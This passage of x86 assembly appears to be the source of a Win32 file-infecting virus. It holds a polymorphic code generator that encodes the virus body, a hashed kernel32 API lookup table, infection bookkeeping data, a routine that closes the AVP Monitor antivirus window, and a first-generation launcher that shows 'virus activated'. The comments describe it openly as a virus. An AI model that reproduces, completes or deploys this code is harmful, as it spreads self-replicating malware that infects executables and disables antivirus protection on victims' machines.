[RecursiveCoef+ebp] call addRndCmpRegImm pop dword ptr [RecursiveCoef+ebp] jnc nonRec4 nonRec3: call addAddSubRegImm pop ebx ecx ; restore regs jmp nonRec5 nonRec4: pop ebx ecx ; restore regs sub ecx,edx nonRec5: add ebx,eax ; add encoded size loop encodeCmpLoop1 pop ecx ; get loops pop edx ; get ptr addr mov dword ptr [edx],ebx ; fix op2 jmp pop edx ; get old prt mov eax,edi sub eax,edx ; calc added size mov edx,ecx ; move loops here dec edx clc ret ; ; mov reg,a ; push reg ; encRndPushReg: push ecx ebx ; save loop and size push edi ; save prt addr std lodsd ; get dword cld push eax ; save value call GetReg ; get random reg ; get value pop edx ; mov reg32,imm32 mov cl,al push ecx call AddMovREGIMM pop ecx ; push reg32 push ecx call AddPushREG pop eax call FreeReg ; free the register pop edx ; get old prt mov eax,edi sub eax,edx ; calc added size pop ebx ecx ; restore regs add ebx,eax ; add encoded size jmp doLoop ; ; add opcode: ; mov reg,a-b || mov reg,a+b ; add reg,b || add reg,-b ; push reg || push reg ; sub opcode: ; mov reg,a-b || mov reg,a+b ; add reg,b || add reg,-b ; push reg || push reg ; ; ret eax enc size ; addAddSubRegImm: call GetReg ; get rnd reg mov byte ptr [WorkReg+ebp],al mov eax,2 ; add or sub? push eax call rndInRange mov bl,al mov eax,2 ; again, add or sub? push eax call rndInRange mov bh,al mov eax,0ffffffffh ; get a random dword value push eax call rndInRange push edi ; save current dest push eax ; save rnd value std lodsd ; get dword cld mov edx,eax pop eax ; get rnd value or bl,bl jz doAdd0 add edx,eax ; add dword rnd value add edx,eax doAdd0: sub edx,eax ; sub dword rnd value push eax ; store rnd value mov cl,byte ptr [WorkReg+ebp] call AddMovREGIMM pop edx ; get rnd value or bh,bh ; add or sub opcode jz doSub0 or bl,bl ; add: add or sub? jz doAdd1 not edx inc edx doAdd1: mov cl,byte ptr [WorkReg+ebp] call AddAddREGIMM jmp doSub2 doSub0: or bl,bl ; sub: add or sub? jnz doSub1 not edx inc edx doSub1: mov cl,byte ptr [WorkReg+ebp] call AddSubREGIMM doSub2: mov cl,byte ptr [WorkReg+ebp] call AddPushREG mov al,byte ptr [WorkReg+ebp] call FreeReg pop edx ; get old dest mov eax,edi sub eax,edx ; calc bytes stored ret _EAX equ 0 _ECX equ 1 _EDX equ 2 _EBX equ 3 _ESP equ 4 _EBP equ 5 _ESI equ 6 _EDI equ 7 ; ; returns AL: selected register ; GetReg: mov eax,8 push eax call rndInRange lea ecx,RegStatus+ebp add ecx,eax mov dl,byte ptr [ecx] or dl,dl jnz GetReg mov byte ptr [ecx],1 ret ; ; AL: selected register to free ; FreeReg: and eax,7 lea ecx,RegStatus+ebp add ecx,eax mov byte ptr [ecx],0 ret ; ; Instruction generators ; ; EDI: Destination code ; ECX: Reg (if aplicable) ; EDX: Inm (if aplicable) ; AddCmpREGIMM: or cl,cl jnz AddCmpREGIMM0 mov al,3dh stosb jmp AddCmpREGIMM1 AddCmpREGIMM0: mov al,081h stosb mov al,0f8h add al,cl stosb AddCmpREGIMM1: mov eax,edx stosd ret AddMovREGIMM: mov al,0b8h add al,cl stosb mov eax,edx stosd ret AddAddREGIMM: or cl,cl jnz AddAddREGIMM0 mov al,05h stosb jmp AddAddREGIMM1 AddAddREGIMM0: mov al,081h stosb mov al,0c0h add al,cl stosb AddAddREGIMM1: mov eax,edx stosd ret AddSubREGIMM: or cl,cl jnz AddSubREGIMM0 mov al,2dh stosb jmp AddSubREGIMM1 AddSubREGIMM0: mov al,081h stosb mov al,0e8h add al,cl stosb AddSubREGIMM1: mov eax,edx stosd ret AddPushREG: mov al,050h add al,cl stosb ret AddPopREG: mov al,058h add al,cl stosb ret ; api search data ---------------------------------------------------------- address dd 0 names dd 0 ordinals dd 0 nexports dd 0 expcount dd 0 FSTAPI label byte CrcCloseHandle dd 068624a9dh db 12 _CloseHandle dd 0 CrcCreateFileA dd 08c892ddfh db 12 _CreateFileA dd 0 CrcCreatFileMappingA dd 096b2d96ch db 19 _CreateFileMappingA dd 0 CrcFreeLibrary dd 0afdf191fh db 12 _FreeLibrary dd 0 CrcGetProcAddress dd 0ffc97c1fh db 15 _GetProcAddress dd 0 CrcGetFileTime dd 04434e8feh db 12 _GetFileTime dd 0 CrcGetFileAttributesA dd 0c633d3deh db 19 _GetFileAttributesA dd 0 CrcGetFileSize dd 0ef7d811bh db 12 _GetFileSize dd 0 CrcFindFirstFileA dd 0ae17ebefh db 15 _FindFirstFileA dd 0 CrcFindNextFileA dd 0aa700106h db 14 _FindNextFileA dd 0 CrcFindClose dd 0c200be21h db 10 _FindClose dd 0 CrcGetCurrentDirectoryA dd 0ebc6c18bh db 21 _GetCurrentDirectoryA dd 0 CrcGetSystemDirectoryA dd 0593ae7ceh db 20 _GetSystemDirectoryA dd 0 CrcGetSystemTime dd 075b7ebe8h db 14 _GetSystemTime dd 0 CrcGetWindowsDirectoryA dd 0fe248274h db 21 _GetWindowsDirectoryA dd 0 CrcGetLastError dd 087d52c94h db 13 _GetLastError dd 0 CrcGetTickCount dd 0613fd7bah db 13 _GetTickCount dd 0 CrcLoadLibraryA dd 04134d1adh db 13 _LoadLibraryA dd 0 CrcMapViewOfFile dd 0797b49ech db 14 _MapViewOfFile dd 0 CrcSetCurrentDirectoryA dd 0b2dbd7dch db 21 _SetCurrentDirectoryA dd 0 CrcSetFileTime dd 04b2a3e7dh db 12 _SetFileTime dd 0 CrcSetFileAttributesA dd 03c19e536h db 19 _SetFileAttributesA dd 0 CrcUnmapViewOfFile dd 094524b42h db 16 _UnmapViewOfFile dd 0 CrcVirtualAlloc dd 04402890eh db 13 _VirtualAlloc dd 0 ENDAPI label byte ; non kernel32 apis -------------------------------------------------------- imagehlpdllStr db 'IMAGEHLP.DLL',0 imagehlpdllHnd dd 0 CheckSumMappedFileStr db 'CheckSumMappedFile',0 _CheckSumMappedFile dd 0 sfcdllStr db 'SFC.DLL',0 sfcdllHnd dd 0 SfcIsFileProtectedStr db 'SfcIsFileProtected',0 _SfcIsFileProtected dd 0 user32dllStr db 'USER32.DLL',0 user32dllHnd dd 0 FindWindowAStr db 'FindWindowA',0 _FindWindowA dd 0 PostMessageAStr db 'PostMessageA',0 _PostMessageA dd 0 ; misc data ---------------------------------------------------------------- ; i use the same code of the payload to close avp monitor avStr db 'AVP Monitor',0 ; hu hu, just end 1 app hehehe payloadStr db 'Program Manager',0 ; infection data ----------------------------------------------------------- path0 dd 0 path1 dd 0 fileMappingObj db '1234567890',0 virusSample dd 0 fileTime0 dd 0,0 fileTime1 dd 0,0 fileTime2 dd 0,0 fileAttrib dd 0 fileSize dd 0 ofileSize dd 0 ochksum dd 0 nchksum dd 0 padding dd 0 genSize dd 0 fHnd dd 0 fhmap dd 0 mapMem dd 0 find_data WIN32_FIND_DATA <0> findHnd dd 0 fndMask db '*.*',0 tmpExt dd 0 infCount db 0 ; very important this aligment for virus encoding align 4h vEnd label byte ; ; Fake host needed for 1st gen ; fakeHost: push 1000h call title db 'virus activated',0 title: call mess db 'Kelvin, welcome to Solaris.',0 mess: push 0h call MessageBoxA push 0h call ExitProcess ; ; This is another way to setup the 1st generation virus sample. ; setupVirus: lea esi,restoreCode ; restore original code lea edi,vBegin mov ecx,restoreSize rep movsb mov dword ptr [encKey],0 ; 1st loop key=0 pushad ; setup stack sub esp,vSize ; we must push 2 times the same offset, no mather wich one push offset reloc1stGen ; setup reloc stuff push offset reloc1stGen ; setup reloc stuff ; emul jmp esp add esp,8 jmp inicio reloc1stGen: ; original code replazed by the jmp to setupVirus to be ; restored at its original plaze restoreCode: sub esp,8 mov esi,dword ptr [esp+vSize+28h] restoreSize equ $-restoreCode Ends End inicio ; ; ah... who's Kelvin? fuck! ; just read the book :] ;